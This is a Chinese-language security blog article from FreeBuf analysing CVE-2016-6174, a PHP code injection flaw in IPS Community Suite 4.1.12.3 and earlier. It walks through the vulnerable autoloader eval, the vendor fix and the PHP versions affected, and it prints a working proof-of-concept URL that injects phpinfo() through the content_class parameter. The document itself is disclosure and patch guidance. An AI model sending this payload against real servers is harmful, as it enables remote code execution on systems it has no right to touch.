主站

分类

漏洞 工具 极客 web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据库安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

FreeBuf+小程序

官方公众号企业安全新浪微博

国内领先的互联网安全新媒体,同时也是爱好者们交流与分享安全技术的社区

IPS Community Suite PHP远程代码执行漏洞分析(CVE-2016-6174)
2016-08-12 18:36:06

*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

0x00 概述

"IPS Community Suite"是一款国外比较常见的 CMS。但在其4.1.12.3版本及以下版本,存在PHP代码注入漏洞,该漏洞源于程序未能充分过滤 content_class 请求参数。

远程攻击者可利用该漏洞注入并执行任意PHP代码。

漏洞触发条件为:

IPS版本:<=4.1.12.3

php环境:<=5.4.24 和 5.5.0-5.5.8

0x01 漏洞分析

在 /applications/core/modules/front/system/content.php 文件中有一段这样的代码,

$class = 'IPS' . implode( '', explode( '_', IPSRequest::i()->content_class ) );
if ( ! class_exists( $class ) or ! in_array( 'IPSContent', class_parents( $class ) ) )
{
    IPSOutput::i()->error( 'node_error', '2S226/2', 404, '' );
}

这里程序通过 IPSRequest::i()->content_class 获取了我们通过 GET 请求提交的 content_class 参数,之后进行了一定的字符串的处理,之后就进入了 class_exists 函数,在这一过程中并没有对我们传入的数据过滤,这就有可能产生漏洞,下面我们进入到 /applications/cms/Application.php 文件中的  __autoload  函数 :

if ( mb_substr( $class, 0, 14 ) === 'IPScmsFields' and is_numeric( mb_substr( $class, 14, 1 ) ) )

{

    $databaseId = mb_substr( $class, 14 );

    eval( "namespace IPScms; class Fields{$databaseId} extends Fields { public static $customDatabaseId [...]

}

最后我们可以构造特定的参数,进入 eval 函数,从而造成远程代码执行

程序处理流程如下:

ips.png


0x02 官方修复分析

经过我们的分析对比

发现 /applications/cms/Application.php这个文件中 原来的 spl_autoload_register() 和更新后

ips_fix.png


我们可以看到,官方利用 intval() 函数对最后传入的 $class 进行来整数验证

使得传入的 $class 的第14位后被限定成为一个整数,防止传入字符串进入 eval() 

0x03 PHP版本的间接修复

在 PHP 的新版本 >=5.4.25 或者 >=5.5.9 里变更了 class_exists 的机制

而低于的版本则没有此限制可以正常触发漏洞

    $class = 'IPS' . implode( '', explode( '_', IPSRequest::i()->content_class ) );

    if ( ! class_exists( $class ) or ! in_array( 'IPSContent', class_parents( $class ) ) )

    {

        IPSOutput::i()->error( 'node_error', '2S226/2', 404, '' );

    }

此处  $class="IPS\cms\Fields1{}phpinfo();/*" 的时候不再触发 class_exists() 去加载

/applications/cms/Application.php 中的 spl_autoload_register()  故不再触发漏洞

0x04 漏洞验证

由此,我们可以构造PoC:

http://*/ips/index.php?app=core&module=system&controller=content&do=find&content_class=cms\Fields{}phpinfo();/*

效果如图:

phpinfo.png

Pocsuite:

 pocsuite.py -r php_ips_test_injection.py -u "http://*/forumnew/index.php" --verify

pocsuite-verify.png 

0x05 漏洞修复

PHP 5.4.x 升级至 5.4.25 以上, 5.5.x 升级至 5.5.9 以上

IPS  升级至 4.12.3.1 以上

0x06 参考

https://www.seebug.org/vuldb/ssvid-92096

https://invisionpower.com/

http://windows.php.net/downloads/releases/archives/

http://karmainsecurity.com/KIS-2016-11

http://cve.mitre.org/cgi-bin/cvename.cgi?name=2016-6174

* 作者:知道创宇404安全实验室(企业帐号),转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

本文作者:, 转载请注明来自FreeBuf.COM

# php # IPS Community Suite
被以下专栏收录,发现更多精彩内容
+ 收入我的专栏
评论 按时间排序

登录/注册后在FreeBuf发布内容哦

相关推荐
  • 0 文章数
  • 0 评论数
  • 0 关注者
登录 / 注册后在FreeBuf发布内容哦